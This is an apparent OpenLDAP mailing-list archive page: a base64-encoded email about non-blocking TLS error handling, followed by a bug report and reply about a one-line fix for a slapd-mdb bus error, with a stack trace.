dj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiPg0KPG1l dGEgbmFtZT0iR2VuZXJhdG9yIiBjb250ZW50PSJNaWNyb3NvZnQgV29yZCAxNSAoZmlsdGVyZWQg bWVkaXVtKSI+DQo8c3R5bGU+PCEtLQ0KLyogRm9udCBEZWZpbml0aW9ucyAqLw0KQGZvbnQtZmFj ZQ0KCXtmb250LWZhbWlseToiQ2FtYnJpYSBNYXRoIjsNCglwYW5vc2UtMToyIDQgNSAzIDUgNCA2 IDMgMiA0O30NCkBmb250LWZhY2UNCgl7Zm9udC1mYW1pbHk6RGVuZ1hpYW47DQoJcGFub3NlLTE6 MiAxIDYgMCAzIDEgMSAxIDEgMTt9DQpAZm9udC1mYWNlDQoJe2ZvbnQtZmFtaWx5OkNhbGlicmk7 DQoJcGFub3NlLTE6MiAxNSA1IDIgMiAyIDQgMyAyIDQ7fQ0KQGZvbnQtZmFjZQ0KCXtmb250LWZh bWlseToiXEBEZW5nWGlhbiI7DQoJcGFub3NlLTE6MiAxIDYgMCAzIDEgMSAxIDEgMTt9DQovKiBT dHlsZSBEZWZpbml0aW9ucyAqLw0KcC5Nc29Ob3JtYWwsIGxpLk1zb05vcm1hbCwgZGl2Lk1zb05v cm1hbA0KCXttYXJnaW46MGluOw0KCW1hcmdpbi1ib3R0b206LjAwMDFwdDsNCglmb250LXNpemU6 MTIuMHB0Ow0KCWZvbnQtZmFtaWx5OiJDYWxpYnJpIixzYW5zLXNlcmlmO30NCmE6bGluaywgc3Bh bi5Nc29IeXBlcmxpbmsNCgl7bXNvLXN0eWxlLXByaW9yaXR5Ojk5Ow0KCWNvbG9yOiMwNTYzQzE7 DQoJdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9DQphOnZpc2l0ZWQsIHNwYW4uTXNvSHlwZXJs aW5rRm9sbG93ZWQNCgl7bXNvLXN0eWxlLXByaW9yaXR5Ojk5Ow0KCWNvbG9yOiM5NTRGNzI7DQoJ dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9DQpwcmUNCgl7bXNvLXN0eWxlLXByaW9yaXR5Ojk5 Ow0KCW1zby1zdHlsZS1saW5rOiJIVE1MIFByZWZvcm1hdHRlZCBDaGFyIjsNCgltYXJnaW46MGlu Ow0KCW1hcmdpbi1ib3R0b206LjAwMDFwdDsNCglmb250LXNpemU6MTAuMHB0Ow0KCWZvbnQtZmFt aWx5OiJDb3VyaWVyIE5ldyI7fQ0Kc3Bhbi5FbWFpbFN0eWxlMTcNCgl7bXNvLXN0eWxlLXR5cGU6 cGVyc29uYWwtY29tcG9zZTsNCglmb250LWZhbWlseToiQ2FsaWJyaSIsc2Fucy1zZXJpZjsNCglj b2xvcjp3aW5kb3d0ZXh0O30NCnNwYW4uSFRNTFByZWZvcm1hdHRlZENoYXINCgl7bXNvLXN0eWxl LW5hbWU6IkhUTUwgUHJlZm9ybWF0dGVkIENoYXIiOw0KCW1zby1zdHlsZS1wcmlvcml0eTo5OTsN Cgltc28tc3R5bGUtbGluazoiSFRNTCBQcmVmb3JtYXR0ZWQiOw0KCWZvbnQtZmFtaWx5OiJDb3Vy aWVyIE5ldyI7fQ0KLk1zb0NocERlZmF1bHQNCgl7bXNvLXN0eWxlLXR5cGU6ZXhwb3J0LW9ubHk7 DQoJZm9udC1mYW1pbHk6IkNhbGlicmkiLHNhbnMtc2VyaWY7fQ0KQHBhZ2UgV29yZFNlY3Rpb24x DQoJe3NpemU6OC41aW4gMTEuMGluOw0KCW1hcmdpbjoxLjBpbiAxLjBpbiAxLjBpbiAxLjBpbjt9 DQpkaXYuV29yZFNlY3Rpb24xDQoJe3BhZ2U6V29yZFNlY3Rpb24xO30NCi0tPjwvc3R5bGU+DQo8 L2hlYWQ+DQo8Ym9keSBsYW5nPSJFTi1VUyIgbGluaz0iIzA1NjNDMSIgdmxpbms9IiM5NTRGNzIi Pg0KPGRpdiBjbGFzcz0iV29yZFNlY3Rpb24xIj4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxzcGFu IHN0eWxlPSJmb250LXNpemU6MTEuMHB0Ij5IaSwgPG86cD48L286cD48L3NwYW4+PC9wPg0KPHAg Y2xhc3M9Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMS4wcHQiPkkgaGF2ZSB0 d28gcXVlc3Rpb25zIGFib3V0IGVuYWJsaW5nDQo8L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtc2l6 ZToxMC4wcHQ7Zm9udC1mYW1pbHk6JnF1b3Q7Q291cmllciBOZXcmcXVvdDs7Y29sb3I6YmxhY2si PkxEQVBfVVNFX05PTl9CTE9DS0lOR19UTFM8L3NwYW4+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTox MS4wcHQiPi4NCjxvOnA+PC9vOnA+PC9zcGFuPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxz cGFuIHN0eWxlPSJmb250LXNpemU6MTEuMHB0Ij48bzpwPiZuYnNwOzwvbzpwPjwvc3Bhbj48L3A+ DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjExLjBwdCI+SSBh bSBoaXR0aW5nIGEgcHJvYmxlbSB3aGVuIEkgcnVuIGEgdGVzdCB0aGF0IGRvZXMgYSBsZGFwc2Vh cmNoIHRvIGEgc3RvcHBlZCBzbGRhcGQgc2VydmVyIHRvIHNpbXVsYXRlIGEgY29tbXVuaWNhdGlv biBlcnJvciwgYW5kIHRoZSBjb21tYW5kIGh1bmcgYmVjYXVzZQ0KPC9zcGFuPjxzcGFuIHN0eWxl PSJmb250LXNpemU6MTAuMHB0O2ZvbnQtZmFtaWx5OiZxdW90O0NvdXJpZXIgTmV3JnF1b3Q7O2Nv bG9yOmJsYWNrIj5MREFQX1VTRV9OT05fQkxPQ0tJTkdfVExTPC9zcGFuPjxzcGFuIHN0eWxlPSJm b250LXNpemU6MTEuMHB0Ij4gaXMgbm90IGVuYWJsZWQuPG86cD48L286cD48L3NwYW4+PC9wPg0K PHAgY2xhc3M9Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMS4wcHQiPjxvOnA+ Jm5ic3A7PC9vOnA+PC9zcGFuPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxzcGFuIHN0eWxl PSJmb250LXNpemU6MTEuMHB0Ij5JdCBzZWVtcyB0byBiZSB0aGF0IG9uIHRoZSAyLjQuNDggcmVs ZWFzZSwgaW4gZmlsZSB0bHMyLmMsIExEQVBfVVNFX05PTl9CTE9DS0lOR19UTFMgaXMgdGllZCB0 byBMREFQX0RFVkVMLCBob3dldmVyLCBvbiB0aGUgbWFpbiBicmFuY2gsIGl0IGlzIGVuYWJsZWQg YnkgZGVmYXVsdD8NCjxvOnA+PC9vOnA+PC9zcGFuPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwi PjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTEuMHB0Ij48bzpwPiZuYnNwOzwvbzpwPjwvc3Bhbj48 L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIiBzdHlsZT0iYmFja2dyb3VuZDp3aGl0ZSI+PHNwYW4g c3R5bGU9ImZvbnQtc2l6ZToxMC4wcHQ7Zm9udC1mYW1pbHk6JnF1b3Q7Q291cmllciBOZXcmcXVv dDs7Y29sb3I6YmxhY2siPi8vIFJlbGVhc2UgMi40LjQ4PG86cD48L286cD48L3NwYW4+PC9wPg0K PHAgY2xhc3M9Ik1zb05vcm1hbCIgc3R5bGU9ImJhY2tncm91bmQ6d2hpdGUiPjxzcGFuIHN0eWxl PSJmb250LXNpemU6MTAuMHB0O2ZvbnQtZmFtaWx5OiZxdW90O0NvdXJpZXIgTmV3JnF1b3Q7O2Nv bG9yOmJsYWNrIj4jaWZkZWYgTERBUF9ERVZFTDxvOnA+PC9vOnA+PC9zcGFuPjwvcD4NCjxwIGNs YXNzPSJNc29Ob3JtYWwiIHN0eWxlPSJiYWNrZ3JvdW5kOndoaXRlIj48c3BhbiBzdHlsZT0iZm9u dC1zaXplOjEwLjBwdDtmb250LWZhbWlseTomcXVvdDtDb3VyaWVyIE5ldyZxdW90Oztjb2xvcjpi bGFjayI+I2RlZmluZSBMREFQX1VTRV9OT05fQkxPQ0tJTkdfVExTPG86cD48L286cD48L3NwYW4+ PC9wPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCIgc3R5bGU9ImJhY2tncm91bmQ6d2hpdGUiPjxzcGFu IHN0eWxlPSJmb250LXNpemU6MTAuMHB0O2ZvbnQtZmFtaWx5OiZxdW90O0NvdXJpZXIgTmV3JnF1 b3Q7O2NvbG9yOmJsYWNrIj4jZW5kaWYgLyogTERBUF9ERVZFTCAqLzxvOnA+PC9vOnA+PC9zcGFu PjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiIHN0eWxlPSJiYWNrZ3JvdW5kOndoaXRlIj48c3Bh biBzdHlsZT0iZm9udC1zaXplOjEwLjBwdDtmb250LWZhbWlseTomcXVvdDtDb3VyaWVyIE5ldyZx dW90Oztjb2xvcjpibGFjayI+PG86cD4mbmJzcDs8L286cD48L3NwYW4+PC9wPg0KPHAgY2xhc3M9 Ik1zb05vcm1hbCIgc3R5bGU9ImJhY2tncm91bmQ6d2hpdGUiPjxzcGFuIHN0eWxlPSJmb250LXNp emU6MTAuMHB0O2ZvbnQtZmFtaWx5OiZxdW90O0NvdXJpZXIgTmV3JnF1b3Q7O2NvbG9yOmJsYWNr Ij4vLyBNYXN0ZXI8bzpwPjwvbzpwPjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIiBz dHlsZT0iYmFja2dyb3VuZDp3aGl0ZSI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMC4wcHQ7Zm9u dC1mYW1pbHk6JnF1b3Q7Q291cmllciBOZXcmcXVvdDs7Y29sb3I6YmxhY2siPiNpZm5kZWYgSEFW RV9NT1pOU1M8bzpwPjwvbzpwPjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIiBzdHls ZT0iYmFja2dyb3VuZDp3aGl0ZSI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMC4wcHQ7Zm9udC1m YW1pbHk6JnF1b3Q7Q291cmllciBOZXcmcXVvdDs7Y29sb3I6YmxhY2siPiNkZWZpbmUgTERBUF9V U0VfTk9OX0JMT0NLSU5HX1RMUzxvOnA+PC9vOnA+PC9zcGFuPjwvcD4NCjxwIGNsYXNzPSJNc29O b3JtYWwiIHN0eWxlPSJiYWNrZ3JvdW5kOndoaXRlIj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjEw LjBwdDtmb250LWZhbWlseTomcXVvdDtDb3VyaWVyIE5ldyZxdW90Oztjb2xvcjpibGFjayI+I2Vu ZGlmDQo8bzpwPjwvbzpwPjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj48c3BhbiBz dHlsZT0iZm9udC1zaXplOjExLjBwdCI+PG86cD4mbmJzcDs8L286cD48L3NwYW4+PC9wPg0KPHAg Y2xhc3M9Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMS4wcHQiPklzIHRoaXMg YmVjYXVzZSB3ZSBhcmUgbWlzc2luZyB0aGUgY29tbWl0IOKAnDFhNzEyYmYxIOKAkyBFbmFibGUg ZmVhdHVyZXMgdGhhdCB3ZXJlIGhpZGRlbiBiZWhpbmQgTERBUF9ERVZFTOKAnT8gV2FzIHRoZSBp bnRlbnRpb24gdG8gZW5hYmxlIExEQVBfVVNFX05PTl9CTE9DS0lOR19UTFMgJm5ic3A7YnkgZGVm YXVsdD88bzpwPjwvbzpwPjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj48c3BhbiBz dHlsZT0iZm9udC1zaXplOjExLjBwdCI+PG86cD4mbmJzcDs8L286cD48L3NwYW4+PC9wPg0KPHAg Y2xhc3M9Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMS4wcHQiPlRoZSBzZWNv bmQgcXVlc3Rpb24sIHdoZW4gSSB0cmllZCB0byBlbmFibGUNCjwvc3Bhbj48c3BhbiBzdHlsZT0i Zm9udC1zaXplOjEwLjBwdDtmb250LWZhbWlseTomcXVvdDtDb3VyaWVyIE5ldyZxdW90Oztjb2xv cjpibGFjayI+TERBUF9VU0VfTk9OX0JMT0NLSU5HX1RMUzwvc3Bhbj48c3BhbiBzdHlsZT0iZm9u dC1zaXplOjExLjBwdCI+IHRocm91Z2ggQ0ZMQUdTLCBJIGFtIGhpdHRpbmcgdGhpcyBvdGhlciBp c3N1ZSBtZW50aW9uZWQgaW4gdGhlIElUUyM4OTgwLCBpbiB0aGUgc2Vjb25kIGZpeC48bzpwPjwv bzpwPjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj48c3BhbiBzdHlsZT0iZm9udC1z aXplOjExLjBwdCI+PG86cD4mbmJzcDs8L286cD48L3NwYW4+PC9wPg0KPHAgY2xhc3M9Ik1zb05v cm1hbCIgc3R5bGU9ImJhY2tncm91bmQ6d2hpdGUiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTAu MHB0O2ZvbnQtZmFtaWx5OiZxdW90O0NvdXJpZXIgTmV3JnF1b3Q7O2NvbG9yOmJsYWNrIj4tJm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IHJldHVybiBTU0xfY29ubmVjdCggcyAp IC0gMTs8bzpwPjwvbzpwPjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIiBzdHlsZT0i YmFja2dyb3VuZDp3aGl0ZSI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMC4wcHQ7Zm9udC1mYW1p bHk6JnF1b3Q7Q291cmllciBOZXcmcXVvdDs7Y29sb3I6YmxhY2siPiYjNDM7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IGludCByYyA9IFNTTF9jb25uZWN0KCBzICkgLSAxOzxv OnA+PC9vOnA+PC9zcGFuPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiIHN0eWxlPSJiYWNrZ3Jv dW5kOndoaXRlIj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjEwLjBwdDtmb250LWZhbWlseTomcXVv dDtDb3VyaWVyIE5ldyZxdW90Oztjb2xvcjpibGFjayI+JiM0Mzs8bzpwPjwvbzpwPjwvc3Bhbj48 L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIiBzdHlsZT0iYmFja2dyb3VuZDp3aGl0ZSI+PHNwYW4g c3R5bGU9ImZvbnQtc2l6ZToxMC4wcHQ7Zm9udC1mYW1pbHk6JnF1b3Q7Q291cmllciBOZXcmcXVv dDs7Y29sb3I6YmxhY2siPiYjNDM7I2lmZGVmIExEQVBfVVNFX05PTl9CTE9DS0lOR19UTFM8bzpw PjwvbzpwPjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIiBzdHlsZT0iYmFja2dyb3Vu ZDp3aGl0ZSI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMC4wcHQ7Zm9udC1mYW1pbHk6JnF1b3Q7 Q291cmllciBOZXcmcXVvdDs7Y29sb3I6YmxhY2siPiYjNDM7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7IGludCBzc2xlcnIgPSBTU0xfZ2V0X2Vycm9yKHMsIHJjJiM0MzsxKTs8 bzpwPjwvbzpwPjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIiBzdHlsZT0iYmFja2dy b3VuZDp3aGl0ZSI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMC4wcHQ7Zm9udC1mYW1pbHk6JnF1 b3Q7Q291cmllciBOZXcmcXVvdDs7Y29sb3I6YmxhY2siPiYjNDM7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7IGludCBzb2NrZXJyID0gc29ja19lcnJubygpOzxvOnA+PC9vOnA+ PC9zcGFuPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiIHN0eWxlPSJiYWNrZ3JvdW5kOndoaXRl Ij48c3BhbiBzdHlsZT0iZm9udC1zaXplOjEwLjBwdDtmb250LWZhbWlseTomcXVvdDtDb3VyaWVy IE5ldyZxdW90Oztjb2xvcjpibGFjayI+JiM0Mzs8bzpwPjwvbzpwPjwvc3Bhbj48L3A+DQo8cCBj bGFzcz0iTXNvTm9ybWFsIiBzdHlsZT0iYmFja2dyb3VuZDp3aGl0ZSI+PHNwYW4gc3R5bGU9ImZv bnQtc2l6ZToxMC4wcHQ7Zm9udC1mYW1pbHk6JnF1b3Q7Q291cmllciBOZXcmcXVvdDs7Y29sb3I6 YmxhY2siPiYjNDM7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IGlmICggcmMg Jmx0OyAwICkgezxvOnA+PC9vOnA+PC9zcGFuPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiIHN0 eWxlPSJiYWNrZ3JvdW5kOndoaXRlIj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjEwLjBwdDtmb250 LWZhbWlseTomcXVvdDtDb3VyaWVyIE5ldyZxdW90Oztjb2xvcjpibGFjayI+JiM0MzsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsgaWYgKCBzc2xlcnIgPT0gU1NMX0VSUk9SX1dBTlRfUkVBRCB8fCBzc2xl cnIgPT0gU1NMX0VSUk9SX1dBTlRfV1JJVEUgKSB7PG86cD48L286cD48L3NwYW4+PC9wPg0KPHAg Y2xhc3M9Ik1zb05vcm1hbCIgc3R5bGU9ImJhY2tncm91bmQ6d2hpdGUiPjxzcGFuIHN0eWxlPSJm b250LXNpemU6MTAuMHB0O2ZvbnQtZmFtaWx5OiZxdW90O0NvdXJpZXIgTmV3JnF1b3Q7O2NvbG9y OmJsYWNrIj4mIzQzOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyByYyA9IDA7PG86cD48L286cD48L3NwYW4+PC9wPg0K PHAgY2xhc3M9Ik1zb05vcm1hbCIgc3R5bGU9ImJhY2tncm91bmQ6d2hpdGUiPjxzcGFuIHN0eWxl PSJmb250LXNpemU6MTAuMHB0O2ZvbnQtZmFtaWx5OiZxdW90O0NvdXJpZXIgTmV3JnF1b3Q7O2Nv bG9yOmJsYWNrIj4mIzQzOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyB9IGVsc2UgaWYgKCggc3NsZXJy ID09IFNTTF9FUlJPUl9TWVNDQUxMICkgJmFtcDsmYW1wOzxvOnA+PC9vOnA+PC9zcGFuPjwvcD4N CjxwIGNsYXNzPSJNc29Ob3JtYWwiIHN0eWxlPSJiYWNrZ3JvdW5kOndoaXRlIj48c3BhbiBzdHls ZT0iZm9udC1zaXplOjEwLjBwdDtmb250LWZhbWlseTomcXVvdDtDb3VyaWVyIE5ldyZxdW90Oztj b2xvcjpibGFjayI+JiM0MzsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgKCBzb2NrZXJyID09IEVBR0FJTiB8fCBzb2Nr ZXJyID09IEVOT1RDT05OICkpIHs8bzpwPjwvbzpwPjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0iTXNv Tm9ybWFsIiBzdHlsZT0iYmFja2dyb3VuZDp3aGl0ZSI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTox MC4wcHQ7Zm9udC1mYW1pbHk6JnF1b3Q7Q291cmllciBOZXcmcXVvdDs7Y29sb3I6YmxhY2siPiYj NDM7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7IHJjID0gMDs8bzpwPjwvbzpwPjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0i TXNvTm9ybWFsIiBzdHlsZT0iYmFja2dyb3VuZDp3aGl0ZSI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6 ZToxMC4wcHQ7Zm9udC1mYW1pbHk6JnF1b3Q7Q291cmllciBOZXcmcXVvdDs7Y29sb3I6YmxhY2si PiYjNDM7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IH08bzpwPjwvbzpwPjwvc3Bhbj48L3A+DQo8cCBj bGFzcz0iTXNvTm9ybWFsIiBzdHlsZT0iYmFja2dyb3VuZDp3aGl0ZSI+PHNwYW4gc3R5bGU9ImZv bnQtc2l6ZToxMC4wcHQ7Zm9udC1mYW1pbHk6JnF1b3Q7Q291cmllciBOZXcmcXVvdDs7Y29sb3I6 YmxhY2siPiYjNDM7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IH08bzpwPjwv bzpwPjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIiBzdHlsZT0iYmFja2dyb3VuZDp3 aGl0ZSI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMC4wcHQ7Zm9udC1mYW1pbHk6JnF1b3Q7Q291 cmllciBOZXcmcXVvdDs7Y29sb3I6YmxhY2siPiYjNDM7I2VuZGlmIC8qIExEQVBfVVNFX05PTl9C TE9DS0lOR19UTFMgKi88bzpwPjwvbzpwPjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFs Ij48c3BhbiBzdHlsZT0iZm9udC1zaXplOjExLjBwdCI+PG86cD4mbmJzcDs8L286cD48L3NwYW4+ PC9wPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMS4wcHQi PldoZW4gSSBzdG9wcGVkIHRoZSBzbGRhcGQsIEkgZ290IFNTTF9FUlJPUl9XQU5UX1JFQUQsKHJl c291cmNlIHRlbXBvcmFyaWx5IHVuYXZhaWxhYmxlKSB3aGljaCBpcyBleHBlY3RlZC4gSG93ZXZl ciBJIGV4cGVjdCB0aGUgY29ubmVjdGlvbiB0byBmYWlsLCBhbmQgcmV0dXJuIGJhY2sgdG8gdGhl IGNhbGxlciwgYW5kIHN0b3BwZWQgc2VhcmNoLiBIb3dldmVyLA0KIGR1ZSB0byBhYm92ZSBjb2Rl LCBJdCBpbnN0ZWFkIGdvdCBhIFJDPTAsIHdoaWNoIGlzIGEgc3VjY2Vzcy4gU28gdGhlIGNvZGUg a2VwdCBnb2luZyBhbmQgc2VudCB0aGUgaW5pdGlhbCByZXF1ZXN0LiBUaGlzIGxlYWRzIHRvIGFi b3V0IGEgMiBtaW51dGVzIGRlbGF5IGluIHJldHVybmluZyBiYWNrIHRvIHRoZSBjYWxsZXIsIHRo YXQgY2F1c2VzIG15IGFwcGxpY2F0aW9uIHRvIGZhaWwuICZuYnNwO0kgYW0gbm90IGFuIGV4cGVy dCBvbiBvcGVubGRhcCwgYnV0DQogc2hvdWxkIGFib3ZlIGNvZGUgYmUgY2hhbmdlZCB0byByZXR1 cm4gc29tZSBlcnJvciBpbnN0ZWFkIG9mIHN1Y2Nlc3M/PG86cD48L286cD48L3NwYW4+PC9wPg0K PHAgY2xhc3M9Ik1zb05vcm1hbCI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMS4wcHQiPjxvOnA+ Jm5ic3A7PC9vOnA+PC9zcGFuPjwvcD4NCjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxzcGFuIHN0eWxl PSJmb250LXNpemU6MTEuMHB0Ij5JIGRvbuKAmXQgaGF2ZSB0aGUgcHJvYmxlbSBpbiB0aGUgbWFz dGVyIGJyYW5jaCwgc2luY2UgdGhpcyBwYXJ0IG9mIHRoZSBjb2RlIGlzIG5vdCBlbmFibGVkIGlu IHRsc19vLmMuPG86cD48L286cD48L3NwYW4+PC9wPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCI+PHNw YW4gc3R5bGU9ImZvbnQtc2l6ZToxMS4wcHQiPjxvOnA+Jm5ic3A7PC9vOnA+PC9zcGFuPjwvcD4N CjxwIGNsYXNzPSJNc29Ob3JtYWwiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTEuMHB0Ij5UaGFu a3MgZm9yIHlvdXIgYXR0ZW50aW9uITxvOnA+PC9vOnA+PC9zcGFuPjwvcD4NCjxwIGNsYXNzPSJN c29Ob3JtYWwiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MTEuMHB0Ij48bzpwPiZuYnNwOzwvbzpw Pjwvc3Bhbj48L3A+DQo8cCBjbGFzcz0iTXNvTm9ybWFsIj48c3BhbiBzdHlsZT0iZm9udC1zaXpl OjExLjBwdCI+V2VpPG86cD48L286cD48L3NwYW4+PC9wPg0KPHAgY2xhc3M9Ik1zb05vcm1hbCI+ PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxMS4wcHQiPjxvOnA+Jm5ic3A7PC9vOnA+PC9zcGFuPjwv cD4NCjwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPg0K --_000_4B8DDDAECDE04C58897F00FACBF3BB46netappcom_--

1 0

Re: (ITS#9128) Fix for slapd-mdb start Bus Error in strchrlen
by hyc＠symas.com 04 Dec '19

04 Dec '19

requate(a)univention.de wrote: > Full_Name: Arvid Requate > Version: 2.4.45 > OS: UCS / Debian Linux > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (92.210.162.23) > > > In our CI tests we observed a situation where the slapd-mdb failed to start, > terminating due to a "bus error" and slapcat showed the same behaviour. I turned > out that the data.mdb file had an "Attribute;option" string right at the end of > it and strchrlen tried to access a memory location past the end of the page > while scanning for another ';', see stack trace down below. Thanks for the report, fix applied to master. > > This patch fixed the issue for us: > ========================================================= > Author: Arvid Requate <requate(a)univention.de> > Date: Tue Dec 3 23:33:10 2019 +0100 > > Avoid bus error with slapd-mdb/slapcat > > diff --git a/servers/slapd/ad.c b/servers/slapd/ad.c > index 801f18d34..31a94a725 100644 > --- a/servers/slapd/ad.c > +++ b/servers/slapd/ad.c > @@ -145,7 +145,7 @@ static char *strchrlen( > { > const char *p; > > - for( p=beg; *p && p < end; p++ ) { > + for( p=beg; p < end && *p; p++ ) { > if( *p == ch ) { > *len = p - beg; > return (char *) p; > ========================================================= > > This is the stack trace: > ========================================================= > $ gdb slapcat > bt > #0 0x00005555555d0dc4 in strchrlen (len=<synthetic pointer>, ch=59 ';', > end=0x7fff6bd62000 <error: Cannot access memory at address 0x7fff6bd62000>, > beg=0x7fff6bd61ff5 "entry-de-de"<error: Cannot access memory at address > 0x7fff6bd62000>) at ../../../../servers/slapd/ad.c:148 > #1 slap_bv2ad (bv=bv@entry=0x7fffffffdbe0, ad=ad@entry=0x7fffffffdbb8, > text=text@entry=0x7fffffffdbb0) at ../../../../servers/slapd/ad.c:224 > #2 0x00007fffee70e043 in mdb_ad_read (mdb=mdb@entry=0x555555a58240, > txn=<optimized out>) at ../../../../../servers/slapd/back-mdb/attr.c:573 > #3 0x00007fffee6fe4ad in mdb_db_open (be=0x7fffffffdd90, cr=0x7fffffffdf80) at > ../../../../../servers/slapd/back-mdb/init.c:263 > #4 0x00005555555fa601 in over_db_open (be=<optimized out>, cr=0x7fffffffdf80) > at ../../../../servers/slapd/backover.c:149 > #5 0x000055555559a317 in backend_startup_one (be=be@entry=0x555555a580a0, > cr=cr@entry=0x7fffffffdf80) at ../../../../servers/slapd/backend.c:224 > #6 0x000055555559a4cb in backend_startup (be=be@entry=0x555555a580a0) at > ../../../../servers/slapd/backend.c:278 > #7 0x00005555555bc0e1 in slap_startup (be=0x555555a580a0) at > ../../../../servers/slapd/init.c:219 > #8 0x00005555555ffc84 in slap_tool_init (progname=progname@entry=0x55555561d2c1 > "slapcat", tool=tool@entry=2, argc=<optimized out>, argv=<optimized out>) at > ../../../../servers/slapd/slapcommon.c:908 > #9 0x00005555555fec90 in slapcat (argc=<optimized out>, argv=<optimized out>) > at ../../../../servers/slapd/slapcat.c:53 > #10 0x0000555555570867 in main (argc=1, argv=0x7fffffffe568) at > 